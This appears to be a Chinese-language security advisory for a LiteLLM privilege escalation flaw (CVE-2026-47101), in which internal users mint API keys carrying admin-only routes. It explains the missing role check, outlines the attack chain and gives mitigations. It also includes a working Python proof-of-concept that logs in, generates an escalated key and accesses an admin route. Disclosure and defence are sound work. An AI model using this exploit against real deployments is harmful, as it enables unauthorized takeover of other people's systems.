CVE-2026-47101 LiteLLM 权限提升漏洞

漏洞信息

漏洞编号

CVE-2026-47101

漏洞类型

权限提升

CVSS评分

8.8 高危

攻击向量

网络 (AV:N)

认证要求

低权限 (PR:L)

用户交互

无需交互 (UI:N)

影响产品

LiteLLM

漏洞概述

LiteLLM在1.83.14之前的版本中存在严重的权限提升漏洞。该漏洞源于系统在生成API密钥时，未对`allowed_routes`字段进行严格的权限校验。已认证的`internal_user`角色用户可以利用此缺陷，创建包含管理员路由访问权限的API密钥。成功利用后，攻击者能够绕过基于角色的访问控制限制，将自身权限从普通内部用户提升至`proxy_admin`，进而完全控制受影响系统。

技术细节

该漏洞的核心在于LiteLLM API密钥生成逻辑中的访问控制缺陷。当用户发起创建API密钥的请求时，系统允许用户通过`allowed_routes`参数自定义密钥可访问的路径。然而，后端代码在处理该参数时，存在逻辑错误，并未检查请求用户当前的角色权限是否包含这些特定的路由。这意味着具有`internal_user`角色的低权限用户可以在请求包中恶意指定仅`proxy_admin`角色才能访问的管理路由。系统在生成密钥时直接存储了这些未经验证的高权限路由配置。随后，攻击者利用该密钥发送请求时，系统仅校验密钥本身的权限，而忽略了对用户原始角色的二次验证。这种机制使得攻击者能够成功绕过基于角色的访问控制（RBAC），非法执行管理员操作，实现从低权限到高权限的垂直提升。

攻击链分析

STEP 1

1. 身份认证

攻击者使用已知的`internal_user`低权限账号凭证登录LiteLLM系统，获取有效的会话Token。

STEP 2

2. 构造恶意请求

攻击者利用API密钥生成接口，在请求载荷中修改`allowed_routes`参数，填入仅`proxy_admin`角色可访问的路由（如管理后台接口）。

STEP 3

3. 绕过校验生成密钥

服务器后端接收请求，由于缺少对用户角色权限的验证，直接生成了包含高权限路由访问能力的API密钥并返回给攻击者。

STEP 4

4. 权限提升

攻击者使用新生成的API密钥，向受保护的管理员路由发送请求。系统验证密钥权限通过，允许攻击者执行管理员操作，完成权限提升。

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

import requests

# Configuration
TARGET_URL = "http://target-litellm-instance.com"
LOGIN_USER = "internal_user"
LOGIN_PASS = "password"
ADMIN_ROUTE = "/proxy/admin/stats"  # Route restricted to proxy_admin

# 1. Authenticate as internal_user to get a session token
session = requests.Session()
login_payload = {
    "username": LOGIN_USER,
    "password": LOGIN_PASS
}
resp = session.post(f"{TARGET_URL}/user/login", json=login_payload)
if resp.status_code != 200:
    print("Login failed")
    exit(1)

print("[+] Logged in as internal_user")

# 2. Exploit: Create a new API key with admin-only permissions
# The vulnerability allows specifying 'allowed_routes' that the user does not have access to
exploit_payload = {
    "key_name": "malicious_admin_key",
    "allowed_routes": [ADMIN_ROUTE, "/key/list"],  # Injecting admin routes
    "user_role": "proxy_admin"  # Attempting to escalate role via key permissions
}

print(f"[*] Attempting to create key with access to: {ADMIN_ROUTE}")
create_key_resp = session.post(f"{TARGET_URL}/key/generate", json=exploit_payload)

if create_key_resp.status_code == 200:
    api_key = create_key_resp.json().get("key")
    print(f"[+] Key created: {api_key}")

    # 3. Verify Privilege Escalation: Use the new key to access admin route
    headers = {
        "Authorization": f"Bearer {api_key}"
    }
    print(f"[*] Accessing protected route {ADMIN_ROUTE} with new key...")
    admin_resp = requests.get(f"{TARGET_URL}{ADMIN_ROUTE}", headers=headers)

    if admin_resp.status_code == 200:
        print("[!] SUCCESS: Accessed admin-only route. Privilege escalation confirmed.")
        print(f"Data: {admin_resp.text}")
    else:
        print(f"[-] Failed to access admin route. Status: {admin_resp.status_code}")
else:
    print(f"[-] Failed to create key. Status: {create_key_resp.status_code}")
    print(create_key_resp.text)

影响范围

LiteLLM < 1.83.14

防御指南

临时缓解措施

建议立即升级至LiteLLM 1.83.14或更高版本以修复此漏洞。在升级前，应严格限制`internal_user`角色创建API密钥的权限，或临时暂停该功能，并全面审计现有API密钥的`allowed_routes`配置，移除非法的权限分配。